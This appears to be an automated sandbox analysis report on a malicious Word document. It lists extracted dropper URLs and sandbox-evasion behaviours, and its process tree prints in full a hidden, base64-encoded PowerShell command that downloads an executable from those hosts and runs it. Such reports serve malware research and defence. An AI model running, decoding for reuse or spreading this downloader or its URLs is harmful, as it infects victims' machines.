Analysis
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max time kernel
30s -
resource
win10v191014 -
submitted
29-01-2020 00:50
Task
task1
Sample
464a1498be6d4d1710dd23570e7d6c4a798f290ebe57ca65603966f4d8de7449.doc
Resource
win10v191014
0 signatures
General
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Target
464a1498be6d4d1710dd23570e7d6c4a798f290ebe57ca65603966f4d8de7449.doc
-
Sample
200129-sxhm7nm24s
-
SHA256
464a1498be6d4d1710dd23570e7d6c4a798f290ebe57ca65603966f4d8de7449
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://www.oasineldeserto.info/mio/8ji5-gr4qnc20-78404477/
exe.dropper
https://wieland-juettner.de/tmp/wTYnLQCN/
exe.dropper
http://humanhair.vn/wp-includes/vBmdKMH/
exe.dropper
http://upstart.ru.ac.za/87/TVYvWFb/
exe.dropper
https://www.jigsaw.watch/d3mged4g/ud5-dl1qkgvdx-290694387/
Signatures
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4872 Powershell.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5092 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5092 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4872 1740 Powershell.exe 73 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4872 Powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\464a1498be6d4d1710dd23570e7d6c4a798f290ebe57ca65603966f4d8de7449.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5092
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABSAGcAbwBrAHgAcgBlAGUAYgBkAGsAagBlAD0AJwBQAHMAdABtAHMAdgBtAHkAJwA7ACQAQgBxAHIAZgBkAHkAdAByACAAPQAgACcANgA1ADIAJwA7ACQASABpAGoAaAB4AGwAaABoAG0AdgBwAD0AJwBDAGIAbgBrAGkAdABzAGwAJwA7ACQAQwBlAG4AYQB0AGcAcgBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAHEAcgBmAGQAeQB0AHIAKwAnAC4AZQB4AGUAJwA7ACQATwBmAGEAZgB3AGQAZQBpAD0AJwBKAGsAdgB1AHQAZgB5AGMAeABpAGYAJwA7ACQATQBwAHIAagBoAGEAcABzAHIAaAB2AD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAHcARQBCAGMAbABpAEUAbgB0ADsAJABMAHkAZQB0AGcAdABnAHoAbgA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG8AYQBzAGkAbgBlAGwAZABlAHMAZQByAHQAbwAuAGkAbgBmAG8ALwBtAGkAbwAvADgAagBpADUALQBnAHIANABxAG4AYwAyADAALQA3ADgANAAwADQANAA3ADcALwAqAGgAdAB0AHAAcwA6AC8ALwB3AGkAZQBsAGEAbgBkAC0AagB1AGUAdAB0AG4AZQByAC4AZABlAC8AdABtAHAALwB3AFQAWQBuAEwAUQBDAE4ALwAqAGgAdAB0AHAAOgAvAC8AaAB1AG0AYQBuAGgAYQBpAHIALgB2AG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB2AEIAbQBkAEsATQBIAC8AKgBoAHQAdABwADoALwAvAHUAcABzAHQAYQByAHQALgByAHUALgBhAGMALgB6AGEALwA4ADcALwBUAFYAWQB2AFcARgBiAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBqAGkAZwBzAGEAdwAuAHcAYQB0AGMAaAAvAGQAMwBtAGcAZQBkADQAZwAvAHUAZAA1AC0AZABsADEAcQBrAGcAdgBkAHgALQAyADkAMAA2ADkANAAzADgANwAvACcALgAiAHMAcABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUABqAHIAaQBiAHEAeABkAGMAbABlAD0AJwBYAGcAbABkAGkAbgByAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAFUAeABkAHkAbwBuAGYAcgBkAHcAIABpAG4AIAAkAEwAeQBlAHQAZwB0AGcAegBuACkAewB0AHIAeQB7ACQATQBwAHIAagBoAGEAcABzAHIAaAB2AC4AIgBEAE8AYAB3AE4ATABgAE8AYQBEAGAARgBpAEwARQAiACgAJABVAHgAZAB5AG8AbgBmAHIAZAB3ACwAIAAkAEMAZQBuAGEAdABnAHIAbAApADsAJABGAHMAcgBkAHUAcABuAG4AeQBvAHAAawA9ACcAVgBjAHIAYQBtAGgAegBxAHoAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABDAGUAbgBhAHQAZwByAGwAKQAuACIATABlAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADMAMwA1ADAAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAGAAQQBSAHQAIgAoACQAQwBlAG4AYQB0AGcAcgBsACkAOwAkAFIAdQBhAHIAaABjAHcAcgBsAHAAawBtAD0AJwBPAHkAZgBoAG0AbQBsAGcAaQBmAHcAJwA7AGIAcgBlAGEAawA7ACQATQB0AG8AdABhAHYAYgB5AD0AJwBIAGcAbQBvAGQAdABmAHIAZgB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAawBzAGYAdgBoAGsAbAB2AHYAcQBjAD0AJwBXAHcAawByAGIAbwB2AGwAeQBiAHoAeABoACcA1⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:4872